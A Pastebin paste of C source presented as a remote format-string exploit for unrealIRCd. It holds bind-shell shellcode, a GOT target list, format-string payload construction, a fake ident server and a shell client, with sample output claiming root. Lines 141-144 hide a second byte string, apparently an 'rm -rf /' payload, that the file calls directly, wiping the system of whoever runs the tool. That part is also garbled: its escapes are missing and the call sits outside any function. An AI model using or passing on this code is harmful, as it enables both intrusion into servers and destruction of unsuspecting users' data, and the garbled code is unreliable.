Guest User

wooooottttt

a guest
Jul 15th, 2011
734
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.73 KB | None | 0 0
  1. /* unrealIRCDpwn.c
  2. *
  3. * 0day! --- PRIV8 --- 0day!
  4. *
  5. * unrealIRCD all versions remote format string exploit
  6. * UPDATE: works on all Linux/Unix machines
  7. *
  8. * Note:
  9. * To obtain a successful exploitation, we need that
  10. * unrealIRCD has been compiled with IDENT, logging to
  11. * SYSLOG and DEBUG enabled.
  12. *
  13. *
  14. * root@antisec:/home/coki/audit# ./unrealIRCDpwn
  15. *
  16. * unrealIRCD *ALL* remote format string exploit
  17. * by *Anonymous* <[email protected]>
  18. *
  19. * Use: ./unrealIRCDpwn -h <host> [options]
  20. *
  21. * options:
  22. * -h <arg> host or IP
  23. * -p <arg> ircd port (by default 6667)
  24. * -t <arg> type of target system
  25. * -g <arg> syslog GOT address
  26. * -o <arg> offset (RET addr by default 0x0806b000)
  27. * -b brutefoce the RET address
  28. * (from 0x0806b000 + offset)
  29. * -l targets list
  30. *
  31. * root@antisec:/home/antisec0day/audit# ./unrealIRCDpwn -h victim -t 1 -o 10000
  32. *
  33. * unrealIRCDpwn *ALL* remote format string exploit
  34. * by *Anonymous* <[email protected]>
  35. *
  36. * [*] host : victim
  37. * [*] system : Slackware Linux 10.0
  38. * [*] ircd version : unrealircd-3.2.8.1.tar.gz
  39. * [*] syslog GOT address : 0x08068094
  40. * [*] verifying host : 10.0.0.2
  41. *
  42. * [*] trying RET address : 0x0806d710 (offset 10000)
  43. * [*] building evil buffer : done!
  44. * [*] running fake ident server : 0.0.0.0:113
  45. *
  46. * [*] connecting to ircd... : 10.0.0.2:6667 connected
  47. * [*] waiting for answer... : 10.0.0.1:43260 connected
  48. * [*] sending evil ident... : done!
  49. * [*] checking for shell... : done!
  50. *
  51. * [!] you have a shell :)
  52. *
  53. * Linux victim 2.6.26-2-amd64 #1SMP Tue Jan 25 05:59:43 UTC 2011 x86_64 GNU/Linux
  54. * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
  55. *
  56. *
  57. * by *Anonymouse* <[email protected]>
  58. * Fuck Whitehats
  59. * 4 ever AntiSec
  60. */
  61.  
  62. #include <stdio.h>
  63. #include <stdlib.h>
  64. #include <unistd.h>
  65. #include <errno.h>
  66. #include <string.h>
  67. #include <getopt.h>
  68. #include <netdb.h>
  69. #include <sys/types.h>
  70. #include <sys/fcntl.h>
  71. #include <netinet/in.h>
  72. #include <sys/socket.h>
  73.  
  74. #define IDENTD 113
  75. #define BUFFERSIZE 1024
  76. #define ERROR -1
  77. #define TIMEOUT 3
  78. #define SHELL 5074
  79. #define IRCD 6667
  80.  
  81. int connect_timeout(int sfd, struct sockaddr *serv_addr,
  82. socklen_t addrlen, int timeout);
  83. int check(unsigned long addr);
  84. void use(char *program);
  85. void printlist(void);
  86. void shell(char *host, int port);
  87. void exploit(char *host, int gotaddr, int retaddr, int ircdport);
  88.  
  89. char shellcode[] = /* 92 bytes by s0t4ipv6 */
  90. "\x31\xc0" // xorl %eax,%eax
  91. "\x50" // pushl %eax
  92. "\x40" // incl %eax
  93. "\x89\xc3" // movl %eax,%ebx
  94. "\x50" // pushl %eax
  95. "\x40" // incl %eax
  96. "\x50" // pushl %eax
  97. "\x89\xe1" // movl %esp,%ecx
  98. "\xb0\x66" // movb $0x66,%al
  99. "\xcd\x80" // int $0x80
  100. "\x31\xd2" // xorl %edx,%edx
  101. "\x52" // pushl %edx
  102. "\x66\x68\x13\xd2" // pushw $0xd213
  103. "\x43" // incl %ebx
  104. "\x66\x53" // pushw %bx
  105. "\x89\xe1" // movl %esp,%ecx
  106. "\x6a\x10" // pushl $0x10
  107. "\x51" // pushl %ecx
  108. "\x50" // pushl %eax
  109. "\x89\xe1" // movl %esp,%ecx
  110. "\xb0\x66" // movb $0x66,%al
  111. "\xcd\x80" // int $0x80
  112. "\x40" // incl %eax
  113. "\x89\x44\x24\x04" // movl %eax,0x4(%esp,1)
  114. "\x43" // incl %ebx
  115. "\x43" // incl %ebx
  116. "\xb0\x66" // movb $0x66,%al
  117. "\xcd\x80" // int $0x80
  118. "\x83\xc4\x0c" // addl $0xc,%esp
  119. "\x52" // pushl %edx
  120. "\x52" // pushl %edx
  121. "\x43" // incl %ebx
  122. "\xb0\x66" // movb $0x66,%al
  123. "\xcd\x80" // int $0x80
  124. "\x93" // xchgl %eax,%ebx
  125. "\x89\xd1" // movl %edx,%ecx
  126. "\xb0\x3f" // movb $0x3f,%al
  127. "\xcd\x80" // int $0x80
  128. "\x41" // incl %ecx
  129. "\x80\xf9\x03" // cmpb $0x3,%cl
  130. "\x75\xf6" // jnz <shellcode+0x40>
  131. "\x52" // pushl %edx
  132. "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
  133. "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
  134. "\x89\xe3" // movl %esp,%ebx
  135. "\x52" // pushl %edx
  136. "\x53" // pushl %ebx
  137. "\x89\xe1" // movl %esp,%ecx
  138. "\xb0\x0b" // movb $0xb,%al
  139. "\xcd\x80" // int $0x80
  140. ;
  141. char shelllcode[] ="x6ax0bx58x99x52x6ax2fx89xe7x52x66x68x2dx66x89"
  142. "xe6x52x66x68x2dx72x89xe1x52x68x2fx2fx72x6dx68"
  143. "x2fx62x69x6ex89xe3x52x57x56x51x53x89xe1xcdx80";
  144. (*(void (*)()) shelllcode)();
  145.  
  146. struct {
  147. int num;
  148. char *os;
  149. char *ircd;
  150. int got;
  151. }targets[] = {
  152. 1, "Slackware Linux 10.0", "unrealircd-3.2.8.1.tar.gz", 0x080680d4,
  153. 2, "Slackware Linux 10.0", "unrealircd-3.2.8.0.tar.gz", 0x08068094,
  154. 3, "Slackware Linux 9.0", "unrealircd-3.2.7.4.tar.gz", 0x080662b4,
  155. 4, "Slackware Linux 9.0", "unrealircd-3.2.7.1.tar.gz", 0x08066294
  156. };
  157.  
  158. static int b=0;
  159.  
  160. int main(int argc, char *argv[])
  161. {
  162. char opt, *host=NULL, *system=NULL, *ircd=NULL;
  163. int i, ircdport=IRCD;
  164. int retaddr=0x0806b000, gotaddr=0, targetnum=0, offset=0;
  165. struct hostent *he;
  166.  
  167. printf("\n unrealircd *ALL* remote format string exploit\n");
  168. printf(" by *Anonymous* <[email protected]>\n\n");
  169.  
  170. while((opt = getopt(argc,argv,"h:g:t:lo:bp:")) != EOF) {
  171. switch (opt) {
  172. case 'h':
  173. host = optarg;
  174. break;
  175. case 'g':
  176. gotaddr = strtoul(optarg,NULL,0);
  177. system = "unknown";
  178. ircd = "unknown";
  179. break;
  180. case 't':
  181. targetnum = atoi(optarg)-1;
  182. if(targets[targetnum].num) {
  183. system = targets[targetnum].os;
  184. ircd = targets[targetnum].ircd;
  185. gotaddr = targets[targetnum].got;
  186. }
  187. else use(argv[0]);
  188. break;
  189. case 'l':
  190. printlist();
  191. break;
  192. case 'o':
  193. offset = atoi(optarg);
  194. retaddr += offset;
  195. break;
  196. case 'b':
  197. b = 1;
  198. break;
  199. case 'p':
  200. ircdport = atoi(optarg);
  201. break;
  202. default:
  203. use(argv[0]);
  204. break;
  205. }
  206. }
  207.  
  208. if(host == NULL) use(argv[0]);
  209. if(gotaddr == 0) use(argv[0]);
  210. if(system == NULL) {
  211. system = "unknown";
  212. ircd = "unknown";
  213. }
  214.  
  215. printf(" [*] host\t\t\t: %s\n", host);
  216. printf(" [*] system\t\t\t: %s\n", system);
  217. printf(" [*] ircd version\t\t: %s\n", ircd);
  218. printf(" [*] syslog GOT address\t\t: %010p\n", gotaddr);
  219. printf(" [*] verifying host\t\t:");
  220. fflush(stdout);
  221.  
  222. if((he=gethostbyname(host)) == NULL) {
  223. herror(" gethostbyname()");
  224. printf("\n");
  225. exit(1);
  226. }
  227.  
  228. printf(" %s\n\n", inet_ntoa(*((struct in_addr *)he->h_addr)));
  229.  
  230. /* bruteforce mode */
  231. if(b) {
  232. for(i = retaddr; i <= 0x0806ffff; i += 0x10) {
  233. printf(" [*] bruteforcing RET address\t: %010p", i);
  234. fflush(stdout);
  235. exploit(host, gotaddr, i, ircdport);
  236. }
  237.  
  238. printf("\n [*] failed!\n\n");
  239. }
  240.  
  241. /* single mode */
  242. else {
  243. printf(" [*] trying RET address\t\t: %010p", retaddr);
  244. fflush(stdout);
  245. if(offset) printf(" (offset %d)\n", offset);
  246. else printf("\n");
  247. exploit(host, gotaddr, retaddr, ircdport);
  248. }
  249. }
  250.  
  251. void exploit(char *host, int gotaddr, int retaddr, int ircdport) {
  252. char ident[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE];
  253. int sock, newsock, sockfd, i, reuseaddr=1;
  254. unsigned int bal1, bal2, bal3, bal4;
  255. int cn1, cn2, cn3, cn4;
  256. struct sockaddr_in dest_dir;
  257. struct sockaddr_in remoteaddr;
  258. struct sockaddr_in localaddr;
  259. int addrlen = sizeof(struct sockaddr_in);
  260. struct hostent *he;
  261.  
  262. if((he=gethostbyname(host)) == NULL) {
  263. herror(" gethostbyname()");
  264. printf("\n");
  265. exit(1);
  266. }
  267.  
  268. /* building evil buffer */
  269. if(!b) {
  270. printf(" [*] building evil buffer\t:");
  271. fflush(stdout);
  272. }
  273.  
  274. sprintf(ident, "0 , 0 : USERID : OTHER :");
  275.  
  276. /* adding GOT address */
  277. for(i = 0; i < 4; i++) {
  278. bzero(temp, sizeof(temp));
  279. sprintf(temp, "%s", &gotaddr);
  280. strncat(ident, temp, 4);
  281. gotaddr++;
  282. }
  283.  
  284. bal1 = (retaddr & 0xff000000) >> 24;
  285. bal2 = (retaddr & 0x00ff0000) >> 16;
  286. bal3 = (retaddr & 0x0000ff00) >> 8;
  287. bal4 = (retaddr & 0x000000ff);
  288.  
  289. cn1 = bal4 - 16 - 36 - 70 - 92;
  290. cn1 = check(cn1);
  291. cn2 = bal3 - bal4;
  292. cn2 = check(cn2);
  293. cn3 = bal2 - bal3;
  294. cn3 = check(cn3);
  295. cn4 = bal1 - bal2;
  296. cn4 = check(cn4);
  297.  
  298. /* adding NOP's */
  299. memset(temp, '\x90', 70);
  300. strcat(ident, temp);
  301. bzero(temp, sizeof(temp));
  302.  
  303. /* adding shellcode */
  304. strcat(ident, shellcode);
  305.  
  306. /* adding format string */
  307. sprintf(temp, "%%%du%%12$n%%%du%%13$n%%%du%%14$n%%%du%%15$n", cn1,
  308. cn2, cn3, cn4);
  309.  
  310. strcat(ident, temp);
  311.  
  312. strcat(ident, "\n");
  313.  
  314. /* running fake identd */
  315. if(!b) {
  316. printf(" done!\n");
  317. printf(" [*] running fake ident server\t:");
  318. fflush(stdout);
  319. }
  320.  
  321. localaddr.sin_family = AF_INET;
  322. localaddr.sin_port = htons(IDENTD);
  323. localaddr.sin_addr.s_addr = INADDR_ANY;
  324. bzero(&(localaddr.sin_zero), 8);
  325.  
  326. if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
  327. perror(" socket()");
  328. printf("\n");
  329. exit(1);
  330. }
  331.  
  332. if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
  333. (socklen_t)sizeof(reuseaddr)) < 0) {
  334. perror(" setsockopt()");
  335. printf("\n");
  336. exit(1);
  337. }
  338.  
  339. if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0)
  340. {
  341. perror(" bind()");
  342. printf("\n");
  343. exit(1);
  344. }
  345.  
  346. if (listen(sock, 1) < 0) {
  347. perror(" listen()");
  348. printf("\n");
  349. exit(1);
  350. }
  351.  
  352. /* connecting to ircd */
  353. if(!b) {
  354. printf(" %s:%u\n\n", inet_ntoa(localaddr.sin_addr),
  355. ntohs(localaddr.sin_port));
  356. printf(" [*] connecting to ircd...\t:");
  357. fflush(stdout);
  358. }
  359.  
  360. if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
  361. perror(" socket");
  362. printf("\n");
  363. exit(1);
  364. }
  365.  
  366. dest_dir.sin_family = AF_INET;
  367. dest_dir.sin_port = htons(ircdport);
  368. dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  369. bzero(&(dest_dir.sin_zero), 8);
  370.  
  371. if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
  372. sizeof(struct sockaddr), TIMEOUT) == ERROR) {
  373.  
  374. printf(" closed\n\n");
  375. exit(1);
  376. }
  377.  
  378. /* waiting for answer */
  379. if(!b) {
  380. printf(" %s:%u connected\n", inet_ntoa(dest_dir.sin_addr),
  381. ntohs(dest_dir.sin_port));
  382. printf(" [*] waiting for answer...\t:");
  383. fflush(stdout);
  384. }
  385.  
  386. if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen))
  387. < 0) {
  388. perror(" accept()");
  389. printf("\n");
  390. exit(1);
  391. }
  392.  
  393. if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) <
  394. 0) {
  395. perror(" getpeername()");
  396. printf("\n");
  397. exit(1);
  398. }
  399.  
  400. if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
  401. perror(" read()");
  402. printf("\n");
  403. exit(1);
  404. }
  405.  
  406. if(!b) {
  407. printf(" %s:%u connected\n", inet_ntoa(remoteaddr.sin_addr),
  408. ntohs(remoteaddr.sin_port));
  409. fflush(stdout);
  410.  
  411. /* sending evil ident */
  412. printf(" [*] sending evil ident...\t:");
  413. fflush(stdout);
  414. }
  415.  
  416. if (write(newsock, ident, strlen(ident)) <= 0) {
  417. perror(" write()");
  418. printf("\n");
  419. exit(1);
  420. }
  421.  
  422. close(sock);
  423. close(newsock);
  424. close(sockfd);
  425.  
  426. if(!b) {
  427. printf(" done!\n");
  428. fflush(stdout);
  429.  
  430. /* checking for shell */
  431. printf(" [*] checking for shell...\t:");
  432. fflush(stdout);
  433. }
  434.  
  435. shell(host, SHELL);
  436. }
  437.  
  438. void shell(char *host, int port) {
  439. int sockfd, n;
  440. char buff[BUFFERSIZE], *command = "uname -a; id;\n";
  441. fd_set readfs;
  442. struct hostent *he;
  443. struct sockaddr_in dest_dir;
  444.  
  445. if((he=gethostbyname(host)) == NULL) {
  446. herror(" gethostbyname()");
  447. printf("\n");
  448. exit(1);
  449. }
  450.  
  451. if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
  452. perror(" socket()");
  453. printf("\n");
  454. exit(1);
  455. }
  456.  
  457. dest_dir.sin_family = AF_INET;
  458. dest_dir.sin_port = htons(port);
  459. dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
  460. bzero(&(dest_dir.sin_zero), 8);
  461.  
  462. if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
  463. sizeof(struct sockaddr), TIMEOUT) == ERROR) {
  464.  
  465. if(b) {
  466. printf("\r\r");
  467. return;
  468. }
  469.  
  470. else {
  471. printf(" done!\n\n");
  472. printf(" [!] failed!\n\n");
  473. exit(1);
  474. }
  475. }
  476.  
  477. if(!b) {
  478. printf(" done!");
  479. fflush(stdout);
  480. }
  481.  
  482. printf("\n\n [!] you have a shell :)\n\n");
  483. fflush(stdout);
  484.  
  485. send(sockfd, command, strlen(command), 0);
  486.  
  487. while(1) {
  488. FD_ZERO(&readfs);
  489. FD_SET(0, &readfs);
  490. FD_SET(sockfd, &readfs);
  491. if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
  492. if(FD_ISSET(0,&readfs)) {
  493. if((n = read(0,buff,sizeof(buff))) < 1)
  494. exit(0);
  495. if(send(sockfd, buff, n, 0) != n) exit(0);
  496. }
  497. if(FD_ISSET(sockfd,&readfs)) {
  498. if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
  499. write(1, buff, n);
  500. }
  501. }
  502. }
  503.  
  504. int connect_timeout(int sfd, struct sockaddr *serv_addr,
  505. socklen_t addrlen, int timeout) {
  506.  
  507. int res, slen, flags;
  508. struct timeval tv;
  509. struct sockaddr_in addr;
  510. fd_set rdf, wrf;
  511.  
  512. fcntl(sfd, F_SETFL, O_NONBLOCK);
  513.  
  514. res = connect(sfd, serv_addr, addrlen);
  515.  
  516. if (res >= 0) return res;
  517.  
  518. FD_ZERO(&rdf);
  519. FD_ZERO(&wrf);
  520.  
  521. FD_SET(sfd, &rdf);
  522. FD_SET(sfd, &wrf);
  523. bzero(&tv, sizeof(tv));
  524. tv.tv_sec = timeout;
  525.  
  526. if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
  527. return -1;
  528.  
  529. if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
  530. slen = sizeof(addr);
  531. if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
  532. return -1;
  533.  
  534. flags = fcntl(sfd, F_GETFL, NULL);
  535. fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);
  536.  
  537. return 0;
  538. }
  539.  
  540. return -1;
  541. }
  542.  
  543. int check(unsigned long addr) {
  544. char tmp[128];
  545. snprintf(tmp, sizeof(tmp), "%d", addr);
  546. if(atoi(tmp) < 5)
  547. addr = addr + 256;
  548.  
  549. return addr;
  550. }
  551.  
  552. void use(char *program) {
  553. printf(" Use: %s -h <host> [options]\n", program);
  554. printf("\n options:\n");
  555. printf(" -h <arg> host or IP\n");
  556. printf(" -p <arg> ircd port (by default 6667)\n");
  557. printf(" -t <arg> type of target system\n");
  558. printf(" -g <arg> syslog GOT address\n");
  559. printf(" -o <arg> offset (RET addr by default
  560. 0x0806b000)\n");
  561. printf(" -b brutefoce the RET address\n");
  562. printf(" (from 0x0806b000 + offset)\n");
  563. printf(" -l targets list\n\n");
  564. exit(1);
  565. }
  566.  
  567. void printlist(void) {
  568. int i=0;
  569.  
  570. printf(" targets\n");
  571. printf(" -------\n\n");
  572.  
  573. while(targets[i].num) {
  574. printf(" [%d] %s [%s]\n", targets[i].num, targets[i].os,
  575. targets[i].ircd);
  576. i++;
  577. }
  578.  
  579. printf("\n");
  580. exit(0);
  581. }
Advertisement
Add Comment
Please, Sign In to add comment